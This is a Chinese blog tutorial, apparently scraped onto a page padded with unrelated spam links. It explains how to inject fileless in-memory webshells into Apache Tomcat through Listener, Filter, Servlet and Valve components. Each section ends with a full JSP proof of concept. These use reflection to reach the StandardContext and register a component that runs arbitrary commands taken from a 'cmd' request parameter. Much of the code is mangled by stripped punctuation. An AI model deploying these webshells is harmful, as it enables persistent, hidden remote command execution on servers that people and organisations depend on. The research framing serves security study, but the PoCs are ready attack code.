当前位置: 首页 > news >正文

产品展示网站模板免费插画素材网站

产品展示网站模板,免费插画素材网站,网站title的作用,十大seo免费软件Tomcat内存马 前言 描述Servlet3.0后允许动态注册组件 这一技术的实现有赖于官方对Servlet3.0的升级#xff0c;Servlet在3.0版本之后能够支持动态注册组件。 而Tomcat直到7.x才支持Servlet3.0#xff0c;因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。…Tomcat内存马 前言 描述Servlet3.0后允许动态注册组件 这一技术的实现有赖于官方对Servlet3.0的升级Servlet在3.0版本之后能够支持动态注册组件。 而Tomcat直到7.x才支持Servlet3.0因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat我们先在父项目的pom文件中引入Tomcat依赖 dependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-catalina/artifactIdversion9.0.55/version /dependency关键在于 JSP-可识别类恶意类 所以需要看写在java文件中被系统调用时的堆栈过程利用jsp技术把这个注册过程写入jsp在访问jsp之后就会执行这个逻辑以此注入内存马 问题1 注入内存马之后是访问就会触发动态注册的动作还是注入就自动执行动态注册的动作访问后生效Listener型内存马 Servlet有三种监听器 ServletContextListenerHttpSessionListenerServletRequestListener 这三种最合适的莫过于ServletRequestListener只要访问Servlet的任何资源都会触发这个监听器 创建Listener package org.example.demo;import javax.servlet.ServletRequest; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import java.io.IOException;WebListener public class ServletListener implements ServletRequestListener {Overridepublic void requestDestroyed (ServletRequestEvent sre) {System.out.println(requestDestroyed);}Overridepublic void requestInitialized (ServletRequestEvent sre) {ServletRequest servletRequest sre.getServletRequest();String cmd servletRequest.getParameter(cmd);if(cmd ! null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}} }验证 ​​ 调用堆栈如下 requestInitialized:13, Shell_Listener (org.example.demo) fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core) invoke:116, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:670, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:342, CoyoteAdapter (org.apache.catalina.connector) service:390, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:928, AbstractProtocolC o n n e c t i o n H a n d l e r ( o r g . a p a c h e . c o y o t e ) d o R u n : 1794 , N i o E n d p o i n t ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutorW o r k e r ( o r g . a p a c h e . t o m c a t . u t i l . t h r e a d s ) r u n : 61 , T a s k T h r e a d Worker (org.apache.tomcat.util.threads) run:61, TaskThread Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)调用Listener的关键步骤fireRequestInitEvent:5638, StandardContext (org.apache.catalina.core)​ 跟进看函数逻辑 public boolean fireRequestInitEvent(ServletRequest request) {Object instances[] getApplicationEventListeners();if ((instances ! null) (instances.length 0)) {ServletRequestEvent event new ServletRequestEvent(getServletContext(), request);for (Object instance : instances) {if (instance null) {continue;}if (!(instance instanceof ServletRequestListener)) {continue;}ServletRequestListener listener (ServletRequestListener) instance;try {listener.requestInitialized(event);} catch (Throwable t) {ExceptionUtils.handleThrowable(t);getLogger().error(sm.getString(standardContext.requestListener.requestInit,instance.getClass().getName()), t);request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);return false;}}}return true;}简单分析一下创建监听器的流程 1.获取当前上下文的所有监听器 2.获取StandardContext上下文 3.创建监听器​​ 所以利用jsp技术动态创建监听器也是一样的道理 第一步 添加监听器 首先就是添加监听器跟进getApplicationEventListeners​函数 ​​ 继续跟进applicationEventListenersList​ ​​ ​​ 发现这个属性就可以直接添加监听器了 跟进 ​​ 是addApplicationEventListener​函数可以添加监听器那么第一步就解决了 这里注意的就是这个StandardContext​类的后面jsp的时候获取也是StandardContext​类但是只有getServletContext​这个方法所以获取他的父类Context使用getContext​方法 第二步 获取ServletContext ​invoke:116, StandardHostValve (org.apache.catalina.core)​这一步可以发现他获取servlet的方式 ​ 恰好jsp也内置了request所以这里也是可以利用 只需要反射利用Field获取即可 Field requestField request.getClass().getDeclaredField(request); requestField.setAccessible(true); Request requests (Request) requestField.get(request);这里回顾的时候有点太久没学反射了把request.get(obj)和request.get(null)给搞混了 这里有两个例子(返回的结果都是Hello, qingfeng!​)运行一下就能会议起来了 例一[Field.get(null)] package org.example.demo;import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws IllegalAccessException {MyClass obj new MyClass();// 获取 Class 对象Class? cls obj.getClass();// 获取字段的值try {Field field cls.getDeclaredField(myField); // myField 是字段的名称field.setAccessible(true); // 设置为可访问以便获取或设置私有字段的值// 获取字段的值Object value field.get(null);System.out.println(字段的值 value);} catch (NoSuchFieldException e) {e.printStackTrace();}} }class MyClass {static String myField Hello, qingfeng!; }例二[Field.get(obj)] package org.example.demo;import java.lang.reflect.Field;public class Main {public static void main(String[] args) throws IllegalAccessException {MyClass obj new MyClass();// 获取 Class 对象Class? cls obj.getClass();// 获取字段的值try {Field field cls.getDeclaredField(myField); // myField 是字段的名称field.setAccessible(true); // 设置为可访问以便获取或设置私有字段的值// 获取字段的值Object value field.get(obj);System.out.println(字段的值 value);} catch (NoSuchFieldException e) {e.printStackTrace();}} }class MyClass {private String myField Hello, qingfeng!; } POC % page importjava.io.IOException % % page importjava.lang.reflect.Field % % page importorg.apache.catalina.connector.Request % % page importorg.apache.catalina.core.StandardContext % % page importjavax.servlet.annotation.WebListener % %!WebListenerpublic class ServletListener implements ServletRequestListener {Overridepublic void requestDestroyed (ServletRequestEvent sre) {System.out.println(requestDestroyed);}Overridepublic void requestInitialized (ServletRequestEvent sre) {ServletRequest servletRequest sre.getServletRequest();String cmd servletRequest.getParameter(cmd);if(cmd ! null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}}} %%Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requests (Request) requestField.get(request);StandardContext context (StandardContext)requests.getContext();ServletListener servletListener new ServletListener();context.addApplicationEventListener(servletListener); %Filter型内存马 Filter是链式调用执行的Filter会在访问不Web资源之前被执行而且定义Filter时可以根据访问的路径来设置相对来说更灵活。 首先同理创建一个Java文件写Filter型内存马 package org.example.demo;import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException;WebFilter(/*) public class ServletFilter implements Filter {Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);}Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {String cmd request.getParameter(cmd);if(cmd ! null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}chain.doFilter(request, response);}Overridepublic void destroy() {Filter.super.destroy();} } 记得要加chain.doFilter(request, response);​不然后面都被阻塞了 ​​ 在cmd下断点看堆栈情况 doFilter:17, ServletFilter (org.example.demo) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) invoke:168, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:481, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:670, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:342, CoyoteAdapter (org.apache.catalina.connector) service:390, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:928, AbstractProtocolC o n n e c t i o n H a n d l e r ( o r g . a p a c h e . c o y o t e ) d o R u n : 1794 , N i o E n d p o i n t ConnectionHandler (org.apache.coyote) doRun:1794, NioEndpoint ConnectionHandler(org.apache.coyote)doRun:1794,NioEndpointSocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutorW o r k e r ( o r g . a p a c h e . t o m c a t . u t i l . t h r e a d s ) r u n : 61 , T a s k T h r e a d Worker (org.apache.tomcat.util.threads) run:61, TaskThread Worker(org.apache.tomcat.util.threads)run:61,TaskThreadWrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)和Listener同理我们直接定位关键步骤internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)​ private void internalDoFilter(ServletRequest request,ServletResponse response)throws IOException, ServletException {// Call the next filter if there is oneif (pos n) {ApplicationFilterConfig filterConfig filters[pos];try {Filter filter filterConfig.getFilter();if (request.isAsyncSupported() false.equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);}if( Globals.IS_SECURITY_ENABLED ) {final ServletRequest req request;final ServletResponse res response;Principal principal ((HttpServletRequest) req).getUserPrincipal();Object[] args new Object[]{req, res, this};SecurityUtil.doAsPrivilege (doFilter, filter, classType, args, principal);} else {filter.doFilter(request, response, this);}} catch (IOException | ServletException | RuntimeException e) {throw e;} catch (Throwable e) {e ExceptionUtils.unwrapInvocationTargetException(e);ExceptionUtils.handleThrowable(e);throw new ServletException(sm.getString(filterChain.filter), e);}return;}// We fell off the end of the chain -- call the servlet instancetry {if (ApplicationDispatcher.WRAP_SAME_OBJECT) {lastServicedRequest.set(request);lastServicedResponse.set(response);}if (request.isAsyncSupported() !servletSupportsAsync) {request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,Boolean.FALSE);}// Use potentially wrapped request from this pointif ((request instanceof HttpServletRequest) (response instanceof HttpServletResponse) Globals.IS_SECURITY_ENABLED ) {final ServletRequest req request;final ServletResponse res response;Principal principal ((HttpServletRequest) req).getUserPrincipal();Object[] args new Object[]{req, res};SecurityUtil.doAsPrivilege(service,servlet,classTypeUsedInService,args,principal);} else {servlet.service(request, response);}} catch (IOException | ServletException | RuntimeException e) {throw e;} catch (Throwable e) {e ExceptionUtils.unwrapInvocationTargetException(e);ExceptionUtils.handleThrowable(e);throw new ServletException(sm.getString(filterChain.servlet), e);} finally {if (ApplicationDispatcher.WRAP_SAME_OBJECT) {lastServicedRequest.set(null);lastServicedResponse.set(null);}}}Filter的流程相对Listener来说更麻烦StandardContext并没有类似addFilter的方法上面我们也提到了Filter是链式调用所以接受的是一个FilterMap还需要利用FilterMap把我们的恶意类包装起来。 ‍ 首先找到filters属性的定义看他的类型 ​​ 需要一个ApplicationFilterConfig类​往上一步看是如何创建ApplicationFilterConfig类的​ ​​ ​ApplicationFilterFactory​的createFilterChain​方法创建了ApplicationFilterChain​类跟进createFilterChain​看一下 public static ApplicationFilterChain createFilterChain(ServletRequest request,Wrapper wrapper, Servlet servlet) {// If there is no servlet to execute, return nullif (servlet \\ null) {return null;}// Create and initialize a filter chain objectApplicationFilterChain filterChain \ null;if (request instanceof Request) {Request req \ (Request) request;if (Globals.IS\_SECURITY\_ENABLED) {// Security: Do not recyclefilterChain \ new ApplicationFilterChain();} else {filterChain \ (ApplicationFilterChain) req.getFilterChain();if (filterChain \\ null) {filterChain \ new ApplicationFilterChain();req.setFilterChain(filterChain);}}} else {// Request dispatcher in usefilterChain \ new ApplicationFilterChain();}filterChain.setServlet(servlet);filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());// Acquire the filter mappings for this ContextStandardContext context \ (StandardContext) wrapper.getParent();FilterMap filterMaps[] \ context.findFilterMaps();// If there are no filter mappings, we are doneif ((filterMaps \\ null) || (filterMaps.length \\ 0)) {return filterChain;}// Acquire the information we will need to match filter mappingsDispatcherType dispatcher \(DispatcherType) request.getAttribute(Globals.DISPATCHER\_TYPE\_ATTR);String requestPath \ null;Object attribute \ request.getAttribute(Globals.DISPATCHER\_REQUEST\_PATH\_ATTR);if (attribute !\ null){requestPath \ attribute.toString();}String servletName \ wrapper.getName();// Add the relevant path-mapped filters to this filter chainfor (FilterMap filterMap : filterMaps) {if (!matchDispatcher(filterMap, dispatcher)) {continue;}if (!matchFiltersURL(filterMap, requestPath)) {continue;}ApplicationFilterConfig filterConfig \ (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());if (filterConfig \\ null) {// FIXME - log configuration problemcontinue;}filterChain.addFilter(filterConfig);}// Add filters that match on servlet name secondfor (FilterMap filterMap : filterMaps) {if (!matchDispatcher(filterMap, dispatcher)) {continue;}if (!matchFiltersServlet(filterMap, servletName)) {continue;}ApplicationFilterConfig filterConfig \ (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());if (filterConfig \\ null) {// FIXME - log configuration problemcontinue;}filterChain.addFilter(filterConfig);}// Return the completed filter chainreturn filterChain;}简化一下逻辑就是这样 1. filterChain new ApplicationFilterChain(); 创建一个ApplictionFilterChain对象 2. StandardContext context (StandardContext) wrapper.getParent(); 获取当前进程Context 3. FilterMap filterMaps[] context.findFilterMaps(); 通过Context获取所有过滤器 4. ApplicationFilterConfig filterConfig (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 获取filterConfig 5. filterChain.addFilter(filterConfig); 添加过滤器一个小知识一个filterConfig​对应一个filter但是一个filter可以有多个filterConfig​ 这里需要了解一下FilterMap和FilterConfig ​​ filterMap主要存储的是urlPatterns和filterName这些信息 恰好对应配置的这些标签 filter-mappingfilter-name/filter-nameurl-pattern/url-pattern /filter-mappingfilterConfig存储的是filterDeffilterDef下有filterClass和filterName这些信息 ​​ filterDef这两项配置对应的恰好就说注册表里面的配置 filterfilter-name/filter-namefilter-class/filter-class /filter因此构造恶意的Filter就需要注册这些信息才能使得Filter生效 1. filterChain new ApplicationFilterChain(); 创建一个ApplictionFilterChain对象 2. StandardContext context (StandardContext) wrapper.getParent(); 获取当前进程Context 3. FilterMap filterMaps[] context.findFilterMaps(); 通过Context获取所有过滤器 4. ApplicationFilterConfig filterConfig (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 获取filterConfig 5. filterChain.addFilter(filterConfig); 添加过滤器第一步 获取ServletContext 其实第一步是和上面原生的一样创建ApplicationFilterChain对象但是创建ApplicationFilterChain对象需要反射获取他的Context。所以第一步还是需要从request获取StandardContext Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requestImp (Request) requestField.get(request);StandardContext standardContext (StandardContext)requestImp.getContext();还有另一种获取StandardContext的方式Tomcat启动会为每个环境创建Session、Cookie等信息都由StandardContext控制 所以可以利用request.getSession().getServletContext()​获取但是request.getSession().getServletContext()​只是得到了ApplicationContext还需要再反射一次才能获取StandardContext比较麻烦如下图所示 ​​ 第二步 设置FilterDef FilterDef filterDef new FilterDef();filterDef.setFilterName(ServletFilter);filterDef.setFilterClass(servletFilter.getClass().getName());filterDef.setFilter(servletFilter);standardContext.addFilterDef(filterDef);‍ 第三步 设置FilterMap FilterMap filterMap new FilterMap();filterMap.setFilterName(servletFilter.getClass().getName());filterMap.addURLPattern(/*);filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求standardContext.addFilterMap(filterMap);​DispatcherType​ 是一个枚举类型它定义了 Servlet 中的请求调度器类型。在这里.REQUEST​ 表示该过滤器将被调度处理来自客户端的请求 第四步 包装FilterDef和FilterConfig ConstructorApplicationFilterConfig applicationFilterConfigConstructor ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);applicationFilterConfigConstructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig applicationFilterConfigConstructor.newInstance(standardContext, filterDef);Field filterConfigsField standardContext.getClass().getDeclaredField(filterConfigs);filterConfigsField.setAccessible(true);Map filterConfigs (Map) filterConfigsField.get(standardContext);filterConfigs.put(ServletFilter, applicationFilterConfig);这一步的关键代码看StandardContext的filterStart​方法的161718三行 public boolean filterStart() {if (getLogger().isDebugEnabled()) {getLogger().debug(Starting filters);}// Instantiate and record a FilterConfig for each defined filterboolean ok true;synchronized (filterConfigs) {filterConfigs.clear();for (EntryString,FilterDef entry : filterDefs.entrySet()) {String name entry.getKey();if (getLogger().isDebugEnabled()) {getLogger().debug( Starting filter name );}try {ApplicationFilterConfig filterConfig new ApplicationFilterConfig(this, entry.getValue());filterConfigs.put(name, filterConfig);} catch (Throwable t) {t ExceptionUtils.unwrapInvocationTargetException(t);ExceptionUtils.handleThrowable(t);getLogger().error(sm.getString(standardContext.filterStart, name), t);ok false;}}}return ok;}POC % page importjavax.servlet.annotation.WebFilter % % page importjava.io.IOException % % page importjava.lang.reflect.Field % % page importorg.apache.catalina.connector.Request % % page importorg.apache.catalina.core.StandardContext % % page importorg.apache.tomcat.util.descriptor.web.FilterDef % % page importorg.apache.tomcat.util.descriptor.web.FilterMap % % page importorg.apache.catalina.core.ApplicationFilterConfig % % page importorg.apache.catalina.Context % % page importjava.lang.reflect.Constructor % % page importjava.util.Map %%!WebFilter(/*)public class ServletFilter implements Filter {Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);}Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {String cmd request.getParameter(cmd);if(cmd ! null){try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {throw new RuntimeException(e);}}chain.doFilter(request, response);}Overridepublic void destroy() {Filter.super.destroy();}} %%Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requestImp (Request) requestField.get(request);StandardContext standardContext (StandardContext)requestImp.getContext();ServletFilter servletFilter new ServletFilter();//FilterDefFilterDef filterDef new FilterDef();filterDef.setFilterName(ServletFilter);filterDef.setFilterClass(servletFilter.getClass().getName());filterDef.setFilter(servletFilter);standardContext.addFilterDef(filterDef);//FilterMapFilterMap filterMap new FilterMap();filterMap.setFilterName(ServletFilter);filterMap.addURLPattern(/*);filterMap.setDispatcher(DispatcherType.REQUEST.name()); //调度器类型设置为处理客户端请求standardContext.addFilterMapBefore(filterMap);//FilterConfigConstructorApplicationFilterConfig applicationFilterConfigConstructor ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);applicationFilterConfigConstructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig applicationFilterConfigConstructor.newInstance(standardContext, filterDef);Field filterConfigsField standardContext.getClass().getDeclaredField(filterConfigs);filterConfigsField.setAccessible(true);Map filterConfigs (Map) filterConfigsField.get(standardContext);filterConfigs.put(ServletFilter, applicationFilterConfig); %Servlet型内存马 Servlet是最晚被调用的调用顺序为Listener-Filter-Servlet servlet分为四个阶段 1.init()初始阶段只被调用一次也是第一次创建Servlet时被调用 2.service()服务阶段。处理客户请求doGet(),doPost()等 3.doGet(),doPost()处理阶段 4.destory()销毁阶段构造一个恶意类 package org.example.demo;import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException;WebServlet(/ServletShell) public class ServletServlet implements Servlet {Overridepublic void init(ServletConfig config) throws ServletException {}Overridepublic ServletConfig getServletConfig() {return null;}Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {String cmd req.getParameter(cmd);Runtime.getRuntime().exec(cmd);}Overridepublic String getServletInfo() {return null;}Overridepublic void destroy() {} } ​​ 这次查看堆栈信息是看不到创建Servlet的过程的只能从头开始分析了,下图参考https://blog.csdn.net/u010883443/article/details/107463782的一张图片 ​​ 我们重点关注web.xmlwebConfig解析的下一步xml赋值对象configureContext定位org.apache.catalina.startup​的ContextConfig​类的configureContext(WebXml webxml)​方法 private void configureContext(WebXml webxml) {// As far as possible, process in alphabetical order so it is easy to// check everything is present// Some validation depends on correct public ID///*.......加载xml文件Wrapper wrapper context.createWrapper();*///wrapper.setName(servlet.getServletName());MapString,String params servlet.getParameterMap();for (EntryString, String entry : params.entrySet()) {wrapper.addInitParameter(entry.getKey(), entry.getValue());}wrapper.setRunAs(servlet.getRunAs());SetSecurityRoleRef roleRefs servlet.getSecurityRoleRefs();for (SecurityRoleRef roleRef : roleRefs) {wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());}wrapper.setServletClass(servlet.getServletClass());/*简化代码*/context.addChild(wrapper);}for (EntryString, String entry :webxml.getServletMappings().entrySet()) {context.addServletMappingDecoded(entry.getKey(), entry.getValue());}SessionConfig sessionConfig webxml.getSessionConfig();if (sessionConfig ! null) {if (sessionConfig.getSessionTimeout() ! null) {context.setSessionTimeout(sessionConfig.getSessionTimeout().intValue());}SessionCookieConfig scc context.getServletContext().getSessionCookieConfig();scc.setName(sessionConfig.getCookieName());scc.setDomain(sessionConfig.getCookieDomain());scc.setPath(sessionConfig.getCookiePath());scc.setComment(sessionConfig.getCookieComment());if (sessionConfig.getCookieHttpOnly() ! null) {scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue());}if (sessionConfig.getCookieSecure() ! null) {scc.setSecure(sessionConfig.getCookieSecure().booleanValue());}if (sessionConfig.getCookieMaxAge() ! null) {scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue());}if (sessionConfig.getSessionTrackingModes().size() 0) {context.getServletContext().setSessionTrackingModes(sessionConfig.getSessionTrackingModes());}}// Context doesnt use version directly// ....}这里面可以提取出几个关键代码 Wrapper wrapper context.createWrapper(); wrapper.setName(servlet.getServletName()); wrapper.setServletClass(servlet.getServletClass()); context.addChild(wrapper); context.addServletMappingDecoded(entry.getKey(), entry.getValue());这个就是注册Servlet的关键流程 写JSP文件注册即可 POC % page importjavax.servlet.annotation.WebServlet % % page importjava.io.IOException % % page importorg.apache.catalina.Wrapper % % page importjava.lang.reflect.Field % % page importorg.apache.catalina.connector.Request % % page importorg.apache.catalina.Context % % page importorg.apache.catalina.core.StandardContext % % page contentTypetext/html;charsetUTF-8 languagejava %%!WebServlet(name ServletServlet, value /ServletServlet)public class ServletServlet extends HttpServlet {Overridepublic void init(ServletConfig config) throws ServletException {}Overridepublic ServletConfig getServletConfig() {return null;}Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {String cmd req.getParameter(cmd);Runtime.getRuntime().exec(cmd);}Overridepublic String getServletInfo() {return null;}Overridepublic void destroy() {}} %%Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requestImp (Request) requestField.get(request);StandardContext context (StandardContext) requestImp.getContext();Wrapper wrapper context.createWrapper();wrapper.setName(ServletServlet);wrapper.setServletClass(ServletServlet.class.getName());wrapper.setServlet(new ServletServlet());context.addChild(wrapper);context.addServletMappingDecoded(/ServletServlet, ServletServlet); %首先要访问这个jsp文件触发构造内存马之后访问/ServletServlet即可触发 ​​ 缺点就说必须访问对应的路径不利于隐藏 valve型内存马 Tomcat有四大组件分别是Engine​,Host​,Context​,Wrapper​。这四个之间的消息传递与沟通离不开Valve阀门​与Pipeline管道​ Valve的接口如下 public interface Valve {public Valve getNext();public void setNext(Valve valve);public void backgroundProcess();public void invoke(Request request, Response response)throws IOException, ServletException;public boolean isAsyncSupported(); }简单点理解就是在Tomcat的调用过程中肯定会调用到Valve.invoke,只要我们实现这个接口并且在Valve构造恶意代码就可以达到RCE的目的 但是需要讲构造的恶意Valve实现类加入到调用链中这就需要用到Pipeline​其接口如下 public interface Valve {public Valve getNext();public void setNext(Valve valve);public void backgroundProcess();public void invoke(Request request, Response response)throws IOException, ServletException;public boolean isAsyncSupported(); }使用Pipeline​时需要注意两个点 1.pipeline添加恶意类实现RCE 2.调用getNext()使得整条链子不会断否则虽然可以执行命令但系统会出错POC % page importorg.apache.catalina.Valve % % page importorg.apache.catalina.connector.Request % % page importorg.apache.catalina.connector.Response % % page importjava.io.IOException % % page importjava.lang.reflect.Field % % page importorg.apache.catalina.core.StandardContext % % page importorg.apache.catalina.Pipeline %%!public class ServletValve implements Valve {private Valve next;Overridepublic Valve getNext() {return next;}Overridepublic void setNext(Valve valve) {this.next valve;}Overridepublic void backgroundProcess() {}Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {try {Runtime.getRuntime().exec(calc);this.getNext().invoke(request, response);} catch (IOException e) {throw new RuntimeException(e);}}Overridepublic boolean isAsyncSupported() {return false;}} %%Field requestField request.getClass().getDeclaredField(request);requestField.setAccessible(true);Request requestImp (Request)requestField.get(request);StandardContext standardContext (StandardContext)requestImp.getContext();Pipeline pipeline standardContext.getPipeline();pipeline.addValve(new ServletValve()); %访问一次后构造内存马第二次生效 ​​ 参考链接 https://goodapple.top/archives/1355 https://xz.aliyun.com/t/11988 https://blog.csdn.net/u010883443/article/details/107463782 https://www.cnblogs.com/coldridgeValley/p/5816414.html ‍
http://www.zqtcl.cn/news/774621/

相关文章:

  • 怎么设立网站赚广告费一个网站可以做多少关键字
  • 网站刚建好怎么做能让百度收录成都定制网站建
  • thinkphp网站开发技术做电脑租赁网站
  • 网站设计评语中午版wordpress
  • 邢台企业手机网站建设汕头网站制作后缀
  • 微网站后台内容设置做网站语言排名2018
  • 嘉兴网站制作网站建设外贸营销推广平台有哪些
  • 网站开发集广州高端网站定制开发价格
  • 网站开发培训成都网站建设 报价单 doc
  • 苏州哪里有做淘宝网站的WordPress模板博客主题
  • 网站做中转做任务 网站
  • 深圳住房建设局网站网站的建设教程
  • 6免费建站的网站在线建筑设计
  • 哪些网站做任务可以赚钱的建设厅网站如何查询企业信息
  • 深圳网站设计+建设首选深圳市服装网站建设需求分析报告
  • 肥城网站制作浙江省建设厅信息港官网
  • 手机网站建设进度南宁企业网站设计
  • 建设学校网站方案大淘客网站上的推广怎么做
  • 哪个网站可以免费学设计南阳网站建设页面
  • 外贸公司建网站一般多少钱南京网站建设小程
  • 洛阳霞光做网站公司手机编程教学
  • 深圳正规网站建设公司顺德网页制作公司
  • 消防中队网站建设筑云电商网站建设公司
  • 天津网站建设天津中国东盟建设集团有限公司网站
  • 正版传奇手游官方网站宁波建设银行网站首页
  • 中铁建设集团招标网站wordpress区块编辑无法使用
  • 做电影网站需要的服务器配置网站关键词排名优化应该怎么做
  • 企业网站管理关键词你们懂的
  • 成都成华网站建设跟网站开发公司签合同主要要点
  • 手机搭建平台网站化工厂建设网站